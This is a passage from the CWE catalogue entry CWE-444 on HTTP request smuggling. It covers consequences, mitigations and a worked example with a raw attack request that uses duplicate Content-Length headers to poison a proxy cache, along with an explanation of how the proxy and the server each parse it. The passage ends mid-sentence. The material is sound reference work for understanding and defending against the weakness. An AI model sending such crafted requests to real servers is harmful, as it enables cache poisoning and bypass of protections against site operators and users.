1069
Relevant to the view "Weaknesses for Simplified Mapping of Published
Vulnerabilities" (CWE-1003)
Nature Type ID Name Page
ChildOf 436 Interpretation Conflict 1057
Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name Page
MemberOf 438 Behavioral Problems 2326
Applicable Platforms
Language : Not Language-Specific (Prevalence = Undetermined)
Technology : Web Based (Prevalence = Undetermined)
Alternate Terms
HTTP Request Smuggling :
HTTP Response Smuggling :
HTTP Smuggling :
Common Consequences
Scope Impact Likelihood
Integrity
Non-Repudiation
Access Control
Unexpected State
Hide Activities
Bypass Protection Mechanism
An attacker could create HTTP messages to exploit a
number of weaknesses including 1) the message can trick
the web server to associate a URL with another URL's
webpage and caching the contents of the webpage (web
cache poisoning attack), 2) the message can be structured
to bypass the firewall protection mechanisms and gain
unauthorized access to a web application, and 3) the
message can invoke a script or a page that returns client
credentials (similar to a Cross Site Scripting attack).
Potential Mitigations
Phase: Implementation
Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
Phase: Implementation
Use only SSL communication.
Phase: Implementation
Terminate the client session after each request.
Phase: System Configuration
Turn all pages to non-cacheable.
Demonstrative Examples
Example 1:
In the following example, a malformed HTTP request is sent to a website that includes a proxy
server and a web server with the intent of poisoning the cache to associate one webpage with
another malicious webpage.
CWE Version 4.14
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
CWE-444: Inconsistent Interpretation of HTTP
Requests ('HTTP Request/Response Smuggling') 1070
Example Language: (Attack)
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 54
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
When this request is sent to the proxy server, the proxy server parses the first four lines of the
POST request and encounters the two "Content-Length" headers. The proxy server ignores the first
header, so it assumes the request has a body of length 54 bytes. Therefore, it treats the data in the
next three lines that contain exactly 54 bytes as the first request's body:
Example Language: (Result)
GET /poison.html HTTP/1.1
Host: www.website.com
Bla:
The proxy then parses the remaining bytes, which it treats as the client's second request:
Example Language: (Attack)
GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
The original request is forwarded by the proxy server to the web server. Unlike the proxy, the web
server uses the first "Content-Length" header and considers that the first POST request has no
body.
Example Language: (Attack)
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 54 (ignored by server)
Because the web server has assumed the original POST request was length 0, it parses the
second request that follows, i.e. for GET /poison.html:
Example Language: (Attack)
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Note that the "Bla:" header is treated as a regular header, so it is not parsed as a separate GET
request.
The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends
back two responses with the contents of the "foobar.html" page and the "poison.html" page,
respectively. The proxy matches these responses to the two requests it thinks were sent by the
CWE Version 4.14
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
CWE-444: Inconsistent Interpretation of HTTP
Requests ('HTTP Request/Response Smuggling')